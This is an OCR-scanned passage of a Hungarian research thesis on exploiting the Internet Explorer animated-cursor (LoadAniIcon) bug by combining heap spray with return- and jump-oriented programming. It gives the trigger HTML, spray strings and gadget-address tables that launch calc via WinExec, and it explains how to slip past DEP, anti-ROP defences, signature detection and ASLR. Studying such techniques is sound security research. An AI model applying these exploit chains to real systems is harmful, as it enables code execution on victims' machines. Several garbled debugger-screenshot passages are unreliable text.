Az eredeti exploit egy html f4j1bol olvassa be a stackre keriil6 tulirt értéksorozatot (riff.htm)

document.write("<HTML><BODY style=\"CURSOR: url('riff. htm')\">
</BODY></HTML>")
wait(500)

window.location.reload()

A vizsgalt operacios rendszeren a riff.htm 11.-ik duplaszoéja irta feliil a LoadAni visszatérési
cimét. Ezt a sajat megvaldsitdisomban egy a nativ api-ban talalhaté pop esp, ret gadget cimére
cseréltem (7C929BAB). Természetesen ezzel a megoldéssal az ASLR kikeriilése maris sériilt,
mivel a ntdll.dll helyének randomizéalasa elronthatja a helyes miikdodést. A késObbiekben
bemutatom, hogyan lehet mégis ASLR-t is megkeriilni ezzel a modszerrel. A sprayslideba
viszont a = 7C929BAC cimet helyeztem, amely eggyel nagyobb az el6zonél, igy pontosan a

ret utasitasra mutat. A sprayslide-om ezek alapjan igy néz ki:

var spraySlide = unescape("%u9bac%u7c92");
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Ezzel a megoldéssal megalkottam és definidltam az ugynevezett nop-gadget-et. A nop-gadget
értelmezésemben a Return Oriented Programoknal alkalmazhat¢ iires utasitas (no operation).
Minden kodszegmensben talalhatd ret utasitas alkalmazhato erre a funkciora, mivel egy ilyen
cim esetén csupan annyi torténik, hogy a kovetkezo stacken 1évo cimre irdnyitddik a vezérlés.
Egy stacken elhelyezett Return Oriented Program esetén a nop-gadgetnek nem sok értelme
van. A heap-spray-jel kombindlt megvaldsitasban azonban fontos szerepet tdlthet be.
Hasonloan a klasszikus nop-sledhez a tamadonak nem sziikséges a payload elejét eltalalni
(Jelen esetben a payload elsd gadgetjének cimét), mivel tetszdleges szamu nop gadget is

lefuthat a payload eldtt.

Fontos megjegyezni, hogy a nop-gadget sokkal jobban elrejthetd egy tamadéasban, mint egy
klasszikus nop-sled. A nopsled hexa 90-es byte-ok sorozata ezért ez konnyen kisziirheto.
Nop-gadgetbdl rengeteg van a memoridban, mivel barmely ret utasitas ezt a funkciot toltheti
be. Igy a nop-gadget sled elrejtéséhez elegendd csupan mas és mas nop-gadgetet hasznalni
tetszOlegesen randomizalva. Egy ilyen megoldéassal a szignatura alapu exploit felismerés

biztosan teljesen hatastalan lesz tekintve a gyakorlatilag végtelen variaciot.

Szintén nop-gadget funkciot tolthet be minden egyszerii a payload szempontjabol semleges
utasitdssorozat, mint pl. egy inc ecx, ret utasitds blokk cime. Ugyanigy inc ecx utasitast

hasznalt az eredeti exploit a nop-sledhez.

A megalkotott heap-spray és Return Oriented Programming kombindciéhoz a payLoadCode
valtozoba nem a kozvetlen payload-ot hanem a payload gadgetjeinek cimét kell helyezni. Az
altalam készitett payload a "proof of concept" jelleg miatt szintén egy kalkulatort nyit meg.

Ehhez az alébbi tdblazatban 1évo gadgeteket hasznaltam:

Gadget Szegmens Kod /adat Funkcio

cime
I. 7c¢80991b Pop eax A 0040300 cimre
2. 00403000 Adat helyezi(adatszegmens) a calc
3. 7¢96bd42 Pop ecx stringet a terminalo nulla byte
4. 63616c63 Adat nélkiil
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5. 7¢951376 Mov [eax], ecx

6. 7c¢80991b Pop eax A 00403004 cimre helyez egy

7. 00403004 Adat nulla értéket (a calc-ot lezaro

8. 7¢96bd42 Pop ecx termindlo6 nulla byte)

9. 00000000 Adat

10. 7¢951376 Mov [eax], ecx

11. 7¢80991b Pop eax Felveszi a WinExec cimét

12. 7c86114d Adat Winexec cime

13. 77d9b63b Call eax Meghivja a WinExec metodust

Pop ebp

14. 00403000 Adat Els6 paraméter az eldz6ekben
bedllitott calc string cime

15. 00000001 Adat Masodik paraméter:
Show Normal

16. 00000000 Adat Dummy adat a pop ebp miatt
sziikséges

17. 7c81caa2 Exit process Leallitja az explorert

5.1. Téblazat ROP payload heap sprayhez

Az elsd 5 gadget egy tetszdleges helyre tetszdleges értéket ird utasitds sorozat. Az elsé cim

(pop eax) felveszi a helyet ahova irni kell, a harmadik cim (pop ecx) felveszi az értéket, amit a

kivalasztott helyre akarunk irni, az 6todik adat a ténylegesen irast végrehajté gadget (mov

[eax], ecx). Jelen exploitban az adatszegmens $00403000 helyére kertiil a 'calc’ ASCII byte

sorozat. A tablazat 6-10 eleme szintén egy érték iras, de ezuttal nulla kertil a $00403004

cimre, azaz a calc stringet zarja le nullédval (string vége jelzése).

65




iFadbrar BFETEEEY B
Kriith BEZECCER BCABCASS BBOAREA1 DZ6406
W7 82EFAES BO4FICEF MEPBNZRS ECEBCE

f EE1S0AS
4 Ba1S0R7S
BE120A70
= | eoizDRse
T |eelz0nsd
HE1ES0RSE
\E120AEC
HE120A 26
HE120R24
HE120A92
aa1s0A9C
ARl 20ARE
aa130aA4
aE120ARS
aA120AAC
EE 1 20RAEE
B 1 20REG
G811 20RES
@31 20AeC
81 20ACE
aE130RCE
BE130RACE
BE1230ACE
51 20R0E
ag 1 30R04
BE120A0
BiE120a0c

M-

| B SOAEE

B 1 30RAE
BEla0Res
BEL20AFE
BE120E20
BE120BHL|
HEGREBAE
HEAREBAE
HEGQEHBAE
HEARHBAE
HEGRAREE
BEARGRAE
AEAEGEAE
BEAEREAE
BEABEBAE
BEAEREAE
HEAEEEAE
BEAEREAE
GEEEEEEE
BEGEEEAE
GEGEEEAE
BEGROEAE
BEGEEEAE
BESEBEAE
HEQEEERE

)
E RETURH from USERZZ.7FINEEFES to USERZZ.FF0E4204
Hral A
3] Braz 1

EEAREEE ]

Brgz 12DRAC
Aras 13DReS

ASCIT "amihf™

Al 9913007C1 Beis0AFe

= Be1sDRsg| oeisDEsa
| soiz20Asd) Bol20ERG
= B312DRES| CEOEDEGOER
| E2isDRec| CEREDEGE
BETZ0A2E| BESROEEE
HE1S0A24| BEERCEEE
HE1S0AE| HEEAECEEE
HEIS0AC| HEARHEAE
HEIZ0ARE| HEABHERE
@E120AR4| BEAEOEAE
BEIS0AAS| SEAECEAE
B@E120AAC| BEAEBGEEE
BA120ABE| BEGBGEGE
ER120AE4| BEBEOEEE
EE1S0ABS| BEAEGERE
BE120ABC| GEABGEAE
BE120ACH| GEOBLEAE
Ba120AC4| GREEBOEGE
Ba120ACE| GEOBGEAE
2@ 30ACC| BESBDEBE
Ba1230A0E| BESBOESE

g1 30A04
HE130R0S| FFCO29ERE
BE120A0C

BE1Z0AES| OCOREGEEA]L|E
HE120AE4| BoEaE0H2E
Al BEISDRER| BEEAEIEZE

et e AR S L e L

5.2. abra Visszatérési cim feliiliras

A tablazat 11. és 12.-ik sora az eax regiszterbe helyezi a WinExec metodushivas cimét, a 13.-

ik sorban szereplé gadget cim pedig végrehajtja azt. A WinExec metodushivas paraméterei a

14.-ik és 15.-ik sorban szerepelnek. Végezetiil a 17.-ik sorban a kernel32.dll ExitProcess

metddusa keriil meghivéasra.

Az 5.2 édbra a LoadAnilcon visszatérési cimének feliilirasat szemlélteti Ollydbg debuggerben.

A visszatérési cim atirasa utan a heapre keriil a stack, ahol

gadgetek futnak.

az elozoleg elhelyezett nop-

I _ N — _ —
W) FOF B Code ) Stack
- L2 ¥ S FLIZIBAC]
N 797 #CHG EAX,EDI ) 2 BEBEAEIZ| FCOZIEAC
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5.3. abra Nop gadget végrehajtas

A nop-gadgetek lefutdsa utan a tényleges payload is lefut, a modositott stacken lathatd a

beallitott gadget-cimek és utasitdsok sorozta.
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5.4. abra ROP payload futdsa a heap-en

Végezetiil az exploit futdsanak eredményeként a kalkulator megnyilik és az explorer

bezarodik (5.5 abra).

Microsoft Internet Explorer

Lok in | < Local Disk [T v Bse ks

[EDacuments and Settings ettlogy | nnstillinger * | Logy inn 2
I Program Files

MyRecent [ WINDOWS
Documents

7.

Desktop

My Documents

File name: ‘ index i ‘ L Open ] Sprifoverkiey

=
S
o
. =
& €
a
=
@

[ Avanzert sok
E]

My Metwork | Files of type: |HTML Files v [ cancal |

Google.no né tilgjengelig p& English

I3

I@ Done é 0 Internet

5.5. A ROP heap spray tdmadas eredménye
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Az eldzéekben bemutatott exploit egy teljesen 1j kiaknazasi médon alapszik a heap spray

technika és a Return Oriented Programming egyiittes alkalmazasan (5.6. ébra).

Virtudlis memoria (sériilékeny alkalmazds)

Heap stack (szal 1.)

ROP-NOP | ROP-NOP | ROP-NOP

[ ROP [ ROP ROP
ROP-NOP | ROP-NOP | ROP-NOP

rop| TR~ [ROP|
ROP-NOP ROPZN -NOP ]

e | / | \\ x \ stack (szdln.)

stack (szal 2.)

5.6. abra A Return Oriented Programming €s a heap spray egyiittes hasznalata

Erdemes attekinteni az eldnyeit és a hatranyait a bemutatott kiaknazasi modnak:

A ROP - heap spray kombinéci6 elényei:

e A payload eldzetesen bekeriilt a memoridba, tehat nem volt sziikkség a metodus
visszatérési cimet feliilir6 adathoz csatolni a tdmado kodot is. A metdduscim feliiliras
¢€s a payload egyiittes haszndlata torténik a klasszikus puffer-tilcsordulasnal valamint
a hagyomanyos return-oriented technikanal is. Az exploit kisziirése emiatt Iényegesen
nehezebb. Ugyanez az elény a hagyomanyos heap spraynél is megvan, tehat ez az
elényds tulajdonsdg a klasszikus Return Oriented Programming kiaknézasokhoz

hasonlitva jelent elonyt.
e szintén a klasszikus Return-Oriented Programinghoz képest jelent elényt, hogy a stack

mérete nem jelent semmilyen korlatot. A stackre mindosszesen két tdmado adat kertilt,

minden egyéb tdmado adat a heapen van.
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e a hagyomanyos heap spray technikahoz hasonlitva jelent elényt, hogy ezen
kiaknazéassal nem torténik kodvégrehajtas adat memoriarészen. Hagyomanyos heap
spray technikdndl meg lehet tenni, hogy a payloadot tartalmaz6 heaprész DEP
védelmét eldzetesen kikapcsoljuk. A bemutatott megoldéssal erre nincs sziikség, mivel

ténylegesen nincs kodvégrehajtas az adatszegmensen.

A ROP heap spray kombinacié hatranya:

e amodszer legnagyobb hatranya a memoria cimtér randomizalas (ASLR) problémaja.
Ez a probléma a klasszikus Return Oriented Programoknal is megvan, ugyanakkor a

klasszikus heapspray erre nem érzékeny.

Az ASLR okozta problémakat kutatasaim szerint az aldbbi mddon lehet megkeriilni. Az
ASLR megkeriilésére a szakirodalomban két modszert definialtak. Az els6 megoldasnal egy
mas szoftverhiban keresztiil (pl. format string hiba) a tadmad6 kiszamithatja az egyes
végrehajthatd modulok memoriacimének randomizalt eltoldsat ideiglenesen. Ez a megoldas
természetesen itt is milkodik, mivel ha elézetesen van lehetdség az ASLR okozta
cimtartomany eltoldsok értékét meghatarozni, ugy Ossze lehet allitani az exploitot ennek
figyelembe vételével az aktualis gadget cimekkel. A mésik megoldastipus, amikor a tdamado
brute-force mddszerrel megtippeli a cimeltolasokat, igy elobb-utobb beletaldl a megfeleld
eltolasokba és lefut a tamado kod. Ez a megoldas is haszndlhato ennél a megoldasnal, azzal a
megkdtéssel, hogy célszerii a timadashoz hasznalt gadgeteket egyazon dil kddszegmensébdl
kivenni, mivel igy a feladat egyparaméteres, igy a lehetdségek szama lényegesen kevesebb.
Jelen esetben a megvaldsitds soran azt vizsgaltam, miként valosithatd meg az el6zdekben
bemutatott tdmadas csupan a kerenel32.dll-ben taldlhatdé kodrészletekbol. Azért a
kernel32.dll-t valasztottam, mert a WinExec és az ExitProcess hasznalatdhoz a kernel32
hasznalata sziikségszerli egyébként is. Az el6z6 tablazatban talalhatd gadgetek a call eax

kivételével mind megtalalhatdak voltak a kernel32.dll-ben:

pop eax 7¢80991b ez eredetileg is a kernel32.dll-ben volt

pop ecx 7¢8769b3 ez egy Uj gadget, amely lényegesen hosszabb az eredetileg
alkalmazottnal: pop ecx; pop edi; pop esi; pop ebx, pop ebp, ret
0Ox10, emiatt a payload kicsit hosszabb lesz (sok dummy adat a

stacken)
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pop esi 7c80a347

call esi 7c81dc2c mivel hasznalhatd call eax gadgetet nem taldltam a kernel32.dlI-
ben, ezért helyette a pop esi + call esi-vel hajtom végre a
WinExec metodushivast. Ez a megoldas teljesen egyenértékli az

elozovel

Szintén lehetséges megoldds az ASLR megkeriilésére, ha egy olyan kodszegmens részt
hasznalunk a gadgetekhez, amelyek helye nem randomizalt az ASLR ellenére. Ilyen pl. a
flash player kodja (a flash player jo eséllyel telepitve van az explorerhez). Ennek a

megoldasnak az a hatranya, hogy a WinExec cime igy nem ismert.

Osszességében sikeriilt egy olyan 0j tamadas tipust bemutatni, amely kombinalja a Heap-
sprayt és a Return Oriented Programmingot ¢&s rendelkezik mindketté elényos
tulajdonsagaival egyszerre:
e a payload eldzetesen keriill a memoridba és nem része a kozvetlen memoria
korrupcionak
e a DEP védelem hatastalan ellene
e astacken rendelkezésre all6 hely semmilyen korlatot nem jelent

e az ASLR is megkeriilhetd vele

A tdmado kod teljes forrdsa az A fiiggelékben talalhato.
5.4 Heap spray Jump Oriented Programminggal

Kutatdsom targya volt annak eldontése is, hogy alkalmazhato-e a Jump Oriented
Programming kiaknézasi médszer a heap-spray-el egyiittesen. Azt is vizsgaltam, hogy milyen
feltételek teljesiilése kell egy ilyen tipust kiaknazéshoz valamint melyek az eldnyei és
hatranyai ennek a megolddsnak. Jump Oriented Programming kiaknazast Heap-spray-el
egylitt kordbban még nem vizsgaltak.

A Jump Oriented Programok legfontosabb része a dispatcher gadget. Ezek keresésére
algoritmusokat mutattam be a 3.-ik fejezetben. Mindezek felhasznalasaval kerestem
dispatcher gadgetnek megfeleld kodrészleteket az elozd alfejezetben targyalt LoadAnilcon

hibahoz. Figyelembe véve a kalkulator megnyitasat, mint feladat, elsé kozelitésben a
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kernel32.dll kddszegmensét vizsgaltam at lehetséges dispatcher gadgetek szempontjabol. A
4.-ik fejezetben bemutatott osztdlyozds alapjan az aldbbi kodrészlet a legalkalmasabb

dispatcher gadgetnek a LoadAnilcon hibdhoz:

kernel32.7¢834¢90: adc esi, edi
kernel32.7¢834c92: call dword [esi-Ox18]

Az elkésziilt Jump Oriented Programming exploitban ez alapjan az esi regiszter lesz a
dispatcher tabla index regisztere, amely az edi regiszter értékével ndvelddik minden kdrben.
A Jump Oriented Programok kiaknazasdnak elsd 1épése, hogy a megfeleld regisztereket
beallitsuk a helyes miikodéshez sziikséges értékekre. Jelen esetben az alabbi beallitasokat kell
megtenni elézetesen:
e az esi értéke a heap spray-jel irt rész valamely kozépso részébe mutasson. Az el6zd
ROP-pal torténd kiaknazashoz hasonloan ezt Ox0b0b0b0c-ra fogom allitani
o figyelembe véve a 32bites architektirat az edi értékét 4-re kell allitani, ahhoz, hogy
egy folytonos dispatcher tablat tudjunk hasznalni a timadashoz
e gadgetek végén az iranyitast vissza kell vennie a dispatcher gadgetnek, ezért néhany
regisztert be kell allitani a dispatcher gadget cimére (7¢834c90). Célszerli ezt ugy
megtenni, hogy direkt és indirekt mddon is lehetséges legyen a vezérlés atadasa, pl.

ecx=7c834c90, [eax] = 7¢c834c90

A kezdeti regiszter bedllitdsok miatt a Jump Oriented Programming tdmadasokat egy popad
Return Oriented Programming gadgettel kell kezdeni, ezutan pedig a dispatcher gadget cimét

kell a stackre tenni.

A heap spray miatt szlikség van itt is egy sajatos nop sled-re, egy tigynevezett Jump Oriented

Programming gadget nop-sledre. Ennek egy eleme egy iires utasitast tartalmazé gadget, pl:

kernel32.7c8108ff: jmp ecx

A Jump Oriented Programming heap spray exploit elokészitéséhez eldszor az sziikséges, hogy

az index.htm fajlban a nopsled helyére a 7¢8108ff cim (jmp ecx) keriiljon.

var spraySlide = unescape("%u08ff%u7c81");
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Ezutan a riff.htm fajlban kell modositani a LoadAnilcon metédus visszatérési cimét egy

popad gadget cimére. Ilyen van pl. a 7¢87e084 cimen a vizsgalt platformon:

popad
pop eax

ret Ox4

A felilirt stacknek tehat az alabbi modon kell kinéznie:

popad gadget cime:
popad edi regisztere:
popad esi regisztere:

popad ebp regisztere:

dummy érték popad esp helye:

popad ebx regisztere:
popad edx regisztere:
popad ecx regisztere:
popad eax regisztere:

pop eax:

dummy érték a ret Ox4 miatt

dispatcher gadget cime:

7¢87e084
00000004
0b0b0bOC

7¢834c90

7¢834c90

A riff-htm-ben ezeket az értékeket a 12.-ik duplaszotol kezdve kell elhelyezni. A leirt exploit

beallitasokkal a LoadAnilconbdl valo visszatérés és a popad gadget végrehajtasa utan a

dispatcher gadget kapja meg a vezérlést.

Az 5.7. abran lathatd modon a kodvégrehajtas a 7¢834c90 (dispatcher gadget) és a 7¢8108ff

(nop gadget) kozott ugral, mikozben az esi dispatcer tabla index négyesével ndvekszik.

A payload végrehajtasa azonban nehézségekbe litkdzik. A WinExec végrehajtasara lenne

szlikség hasonléan a ROP heap sprayhez, azonban a dispatcher gadget végén talalhato call

utasités minden Iépésben a stackre teszi a 7¢834c95 cimet. fgy a metodushivasok

paramétereinek elhelyezése gyakorlatilag lehetetlen lesz. Mindezek miatt a payloadot

kozvetlen metddushivasok nélkiil vagy mas dispatcher gadgettel kell megvalositani. A "proof
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of concept" tdmadashoz én az utdbbit valasztottam, az alabbi alternativ dispatcher gadgetet a

nativ api-bol:

ntdll.7¢939b31: add ebx, Ox10
ntdll.7¢939b34: jmp dword [ebx]

= DllyDbg - iexplaore.exe - [CPU - main thread, module kernel32]

File Wiew Debug Trace Flugn:  Options Windows  Help
— s —— ——— —
|| 00| B2 3 4E M| U| L|E| MW T]C|R[.|K| B|M| H|
% IIFE ADC ESI,E00 : —
* FF56 E3 CALL DWORD FTR DS:CESI-181 _ ~ EEFENEERY e saneE el
FLESCIS[| * E2 46 LOOF SHORT 7CES4CO0 — | BEls0Baz) PLE34095) GLE)
FLEs4csT| ¢ FO 57O - |@@ishBac) FLE34095) blat
7oezaroz|| v FFE2 SD94FDFI IMC OWORD PTR OS:[EEX+FFFO9420] — |E8izhela) FLe34bas) alal
eezdcae|l 2 FF OB FF EE120E14| FLE34095 | bla:
sresacer|l ¢ FRES JHPECH BEL1SOB1S| FLES4CIS I BLA]
FLES4CAL] P 26CB9FE OF ESI,EDI GE120B1CI ACBEBARGR|S229
FLE24Ch4| 7 FFSS FEFOICS| IMC DWORD PTR S5:[EEP+S11CFOFE] SS%EEEEE SE%ESE%E gggg
TLEZ4CARI| ¢ FE OE FE
TLES4CAR ':h =4 @Ba “0R AL, 88 [k s] ] Syeds] BEBEBERE| 3222
Foezdcan|| + eece ADD AL, AL e e e
FLEzdcAF (| - 74 14 JE SHORT 7CE340CE bt obi o] BEMDANEL | J
FLeSacEL || - S1FE S9@@@act CHP ESI, CAAGEASS GEL20E4| BBOEABGE7d3
PLEg4CER|| - P4 BC JE SHORT FLES4LCE BE150B38 ABREABAR| J227
FLE34cER|| - SIFE SAEG@Ect CHR EST, CABGEASA GE120E3C) ABBBABRER| J222
FLE34CEF|| -+ BFSS 658BE16{ JHE FCO4522E 6@ 30E46) AEREAERR| J228
roesdoesll » &R B2 FUSH 2 BE120E44: GEGEGEBER| 2232
Toaadccr|l - 58 FOF EAX E’IE:}SI:IEM-EH HEBERBAE | 492
FLEzaccs|| > 68 1B4DSSFC |PUSH FCS3401A 2oio0e4l) BEABAESE) 4727
7ogzdrn|| = 62 E44C8SFC |PUSH FC28d4CEd galslecs) @EODOBED) J727
rezd4cozll > ol FLUSH EQ BE120B54| BEEEABEE; f822
Pees4cns|] - 6R a5 FISH 35 BE150B58| ABBEABAR| J227
7ees4c0E|l - Es S84AFEFF [CALL £JMP.&ntdll.ObgPrintEx s it BRASRBEC).  AERRABAR] aaaa]
; ‘ ; JHP ECH : : T o EEIEREES rrheaatot alal
FLa L ETE] T HIOF S AR S0EGS| FLoSdCos| olal
FrEiGdEzs a5 HOF BR1Z0BGC| FLES4CIE|aLa!
FrRiees e} HOP GA1Z0E1R| FLE24COC|GLE!
PCS1E064 e HiOE — | @aiZ0814] PLSS4COc| AL
FCoi006S ag HOP GRiZ0Ris| PCSS4COE|HLA!
Fooimaeslps | B FUSH EEBF EE1SOEIC| DCOEBEGE| 2287
rosiese?|| - | SEEC ML EEF,ESF BE1S0EEE| GEOEGEDE|sa07
roeipanal] - | 56 FUSH ESI AE1S06:4| EECEOEGE|a3ad
roeigaan|] . | 57 FUSH EDI BR1S0ECE| FECEOEGE|d3as
Foeigane|] - | 53 FUSH EEX BR1Z0BEC| AEGEOEGE| 2329
Foeigoec|| - | SEF4 MOU ESI,ESP GA1Z0B36| SEOEBRGE| 2229
#ogiesee|| - | FEPE AC FUSH OWORD PTR S5:CARG.S] BRISORS4| GEODGEGS| 2292
Foeioaii|] - | FFPE 18 PUSH OWORD PTR S5:CARG.GI GR150B35| PEGEOEGE|soas
#eaiEnisl| - | FRPs 14 PUSH ODWORD PTR S5:CARG.4] BR1S0BIC| PECEBEGE| 2387
Fosieai7|] - | FFPE 18 FUSH DWORD PTR 55:CARG.Z] BE1S0E4E| SECEGEDE|sa0s
roeieEziall - | FEPS BC FUSH DWORD PTR 55:CARG.Z] AE120644| EECEOERE|a3ad
ccotanin|« |FEES B8 |CALL DWORD PTR SS:(ARG.1] 80130545 gERERBaE| 7209

5.7. dbra A stack teleirasa a call hivas mellékhatasaként

Ennek a kodnak azon til, hogy jmp-pal ugrik a kdvetkezé elemre és nem szemeteli tele a
stacket az az elOnye is megvan, hogy a dispatcher tablara mutatéd regiszter (ebx) egy fix (16

byte) értékkel ndvelddik minden 1€pésben, igy nem foglal masik regisztert.

A kalkulator megnyitasdhoz a payloadnak a ROP-nal bemutatott moédon az alabbi feladatokat
kell végrehajtani:
e kiirni a 'calc' stringet az adatszegmensre egy nulla stringet terminald bytesorozattal

e meghivni a kernel32. WinExec metodust a stacken eldre elhelyezett paraméterekkel
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e meghivni a kernel32. ExitProcess metddust

Ezekhez a feladatokhoz olyan Jump Oriented Programming gadgeteket kerestem, amelyek
Iépésenként végrehajtjak a leirtakat. Az adatszegmensre irdst pl. a pop eax, pop ecx, mov

[eax],ecx gadgetekkel.

A vizsgalt kodszegmensek elemzése utan azt tapasztaltam, hogy sokkal kevesebb gadget all
rendelkezésre a Jump Oriented Programokhoz, mint egy Return Oriented Programhoz. Ennek
oka az, hogy a ret utasitas lényegesen gyakrabban fordul el6 a di/ fajlok kddszegmensében,
mint valamilyen regiszterrel meghatarozott ugrast végrehajtd jmp utasitds. Ez a kiilonbség
annyira szembetind, hogy pl. mov [eax], ecx gadget, amelyet jmp regiszter utasitas kovet
(vagy kozvetleniil, vagy akar 4-5 utasitassal kés6bb) nem is volt talalhat6 a vizsgalt dl/-ekben.

Olyan gadget is csak minddsszesen kettd volt, amely call utasitassal végzodik, pl az alabbi:

kernel32.7c¢84500a: mov [eax], ecx
lea eax, [ebp-Oxic]
push eax

call esi

Az ilyen jellegli jump oriented gadgetekkel az a probléma, hogy a végén talalhatd call esi
utasitds rair a stackre és ezzel elrontja a késébbi metddushivasok pl. a WinExec

paraméterlistajat.

A nop-sleddel ellentétben szerencsére ezt a hibat konnyti kijavitani, pl az alabbi gadgettal:

kernel32.7c¢85d2f3: pop ebp

Jjmp eax

Amennyiben az eax regiszter is elézetesen a dipatcher gadgetre lett allitva, ugy a fenti gadget
levesz egy értéket a stackrdl, igy képes a feleslegesen a stackre keriilt paramétereket
eltavolitani. Mindezek figyelembevételével Osszeallitottam egy Heap-spray-el kombinalt
Jump Oriented Programot, amely valoban megnyitja a kalkuldtort. A hasznalt gadgeteket a
(5.2. tablazatban foglaltam Ossze). A tablazatnak van egy tobblet stack oszlopa, amely azt

szemlélteti, hogy az adott gadget végrehajtdsa soran hany felesleges érték van a stacken.
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Minden metddushivas eldtt ezeket a tobblet értékeket le kell szedni a stackrdl (9-22 és 26-32.

sor), hogy a metddusok a ténylegesen kivalasztott paraméterekkel fussanak le.

Cim Gadget Magyarazat stack tobblet

1. 7¢839533 | pop eax Felveszi a stackrdl az +2 (a
push eax adatszegmens egy cimét kozbenso
call esi 00403000 az eax-be push és a call

miatt)

2. 7c¢842a9¢ | pop ecx Felveszi a stackrdl a 'calc’-ot | +3 ( a call
mov [ebp-0x858], eax az ecx-re miatt)
lea eax, [ebp-0x224]
call esi

3. 7¢84500a | mov [eax], ecx Kiirja az adatot a megfeleld | +5 (a push és
lea eax, [ebp-0x1c] helyre ('calc' -> 00404030 ) | a call miatt)
push eax
call esi

4. 7¢839533 | Ugyanaz, mint 1. Felveszi a 00403004 cimet | +7

5. 7c¢842a9¢ | Ugyanaz, mint 2. Felveszi a "0\O\O\Q' érteket | +8

6. 7c¢84500a | Ugyanaz, mint 3. Kiirja a terminal6 nullat +10

7. 7c835eff | pop edi Felveszi a WinExec cimét a | +12 (a push
cmp dword stackrol ¢s a call
[ebptecx*4+0x45],0x ffffffe miatt)
4
push eax
call esi

8. 7¢839533 | Ugyanaz, mint 1. Bedllitja eax-et a dispatcher | +14

gadget cimére

9.- | 7¢85d2f3 | pop ebp Levesz egy ¢értéket a |0

22. jmp eax stackrdl (14-szer ismételve)

23. | 7c81c69e | call edi Végrehajtja a WinExec-et +3 ( 2db push

mov eax,[ebp-0x4c]

¢s a call)
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add eax, 0x4
push eax
lea eax, [ebp-0x30]
push eax
call esi
24. | 7c835eff | Ugyanaz, mint 7. Bedllitja edi-be az | +5
ExitProcess cimét
25. | 7c¢839533 | Ugyanaz, mint 1. Beallitja eax-et a dispatcher | +7
gadget cimére
26.- | 7¢85d2f3 | Ugyanaz, mint 9. Levesz egy ¢érteket a |0
32. stackrdl (7-szer ismételve)
33. | 7¢81c69e | Ugyanaz, mint 23. Végrehajtja az ExitProcess-t | +3

5.2. Tablazat JOP payload heap sprayhez

A megalkotott Jump Oriented Programming payload 33*16 byte = 528 byte hosszu, mivel a
dispatcher tabla indexe 16-tal ugrik elére minden 1épésben. Az index-jop.htm megnyitasa utan

az exploit lefut, és a kalkulator megnyilik.

Virtudlis memodria (sériilékeny alkalmazas)

Heap stack (szal 1.)

JOP - NOP JOP - NOP JOP - NOP

dispatch dispatch dispatch
table table table

JOP - NOP JOP - NOP JOP - NOP

dispatch \ }j;s;atQ dispatch

table be table

JOP - NOP Wf N\ bﬁ\mop
P aiya N
/ T\ \ \
kéd 1 /éd N\ \ ké}&//’
/ stack (szal n.

/
diggat®] \
gadget

kédk / | kéd n

/] Ve

stack (szal 2.)

N\

)

5.8. abra A Jump Oriented Programming €s a heap spray egyiittes hasznalata
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A futds debuggolasa soran lathatd, hogy valdéban végrehajtodik a dispatcher tabldba irt

utasitdsok sorozata, tehat egy teljesen szabdlyos jump oriented program futott le, amely

heapspray-jel keriilt a memoridba (5.8. abra).

A megalkotott tdimadas elOnyei vizsgalataim szerint az aldbbiak:

A payload elézetesen bekeriilt a memoriaba, tehat nem volt sziikség a metddus
visszatérési cimet feliilir6 adathoz csatolni a timado kodot is. A metoduscim feliiliras
¢s a payload egyiittes hasznalata torténik a klasszikus puffer-tilcsorduldsnal valamint
a hagyomanyos Return-Oriented technikénal illetve minden olyan Jump Oriented
tamadasnal ahol a dispatcher tdbla a stackre keriil. Az exploit kiszlirése emiatt
lényegesen nehezebb, mert a tényleges korrupciot végrehajtdo adat Iényegesen
rovidebb. Ugyanez az eldny a hagyoméanyos heap spraynél is megvan, tehat ez az
elonyos tulajdonsag a klasszikus Jump Oriented Programming kiaknazasokhoz
hasonlitva jelent elonyt.

szintén a klasszikus Jump Oriented Programinghoz képest jelent elonyt, hogy a stack
mérete nem jelent semmilyen korlatot. A stackre mindosszesen két tdmado adat kertilt,
minden egyéb tdmado adat a heapen van.

a hagyomdnyos heap spray technikdhoz hasonlitva jelent elényt, hogy ezen
kiaknazassal nem torténik kodvégrehajtds adat memoriarészen. Hagyomanyos heap
spray technikanal meg lehet tenni, hogy a payloadot tartalmazd heaprész DEP
védelmét eldozetesen kikapcsoljuk. A bemutatott megoldassal erre nincs sziikség, mivel
ténylegesen nincs kodvégrehajtas az adatszegmensen.

barmely Return Oriented Programming tamadéashoz képest jelent elonyt, hogy
tetszOleges anti-rop technika hatdstalan ellene. Ez a tdmadas akkor is mikddne, ha
valdban ret nélkiili kernelbdl [5-6] allna a vizsgalt operacids rendszer.

egy altalanos Jump Oriented tdmadashoz képest jelent eldnyt, hogy nagyobb az
alkalmazhat6é dispatcher gadgetek kore. A payload hossza gyakorlatilag tetszdleges
lehet (a heap oriasi), igy olyan gadget is alkalmazhato dispatcher gadgetnek, amely a
dispatcher tabla indexét nagyobb értékkel noveli.

Hatranyok:
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a modszer legnagyobb hatranya a ROP-hoz hasonléan a memoria cimtér randomizalas
(ASLR) probléméja. Ez a probléma barmely Jump Oriented programoknal is megvan,
ugyanakkor a klasszikus heap spray erre nem érzékeny.

a Return Oriented Programokhoz képest jelent hatranyt, hogy sokkal kevesebb a
rendelkezésre 4ll6 gadget a Jump Oriented Programokhoz. Ugyan mindkét kiaknazas
tipus Turing-teljes elméletben, de a rendelkezésre all6 gadgetek mégiscsak

befolyasoljak a timadé kodot.

Az ASLR kikiiszobolésére ugyanazokat a megoldasokat lehet alkalmazni, mint ami a ROP-

nal is emlitésre kerilt:

ha mas hibabol addddan kiszivarog a randomizaltan elhelyezett kodszegmensek
tényleges helye, ugy a tamadé koédot erre lehet szabni

sok probalkozasnal meg lehet tippelni egy-egy kddszegmens aktualis helyzetét, bar a
rendelkezésre 4ll6 gadgetek szamét tekintve tobb futtathatdé modul haszndlata

valoszintileg elkeriilhetetlen

Osszességében egy olyan tdmado "proof of concept" exploitot sikeriilt megalkotni, amely

sikeresen 6tvozi a Jump Oriented Programming és a heap spray féle kiaknazasok eldnyeit:

a payload eldzetesen keriil a memoridba

nem sziikséges kodot futtatni az adatszegmensen

nem sziikséges egyetlen memoriarész DEP védelmét se modositani a futdshoz

az anti-rop technikak teljesen hatastalanok ellene

bizonyos koriilmények kozott az ASLR is megkeriilhetd vele

az alkalmazhaté dispatcher gadgetek kore sokkal bovebb egy egyszerti Jump Oriented
Programhoz képest.

A tdmado kod teljes forrasa a B fiiggelékben talalhato.

5.5 Osszegzés

Jelen fejezetben megvizsgaltam a Return Oriented Programming szoftverhiba kiaknazasi

technika és a heap spray payload elhelyezési technika valamint a Jump Oriented

78



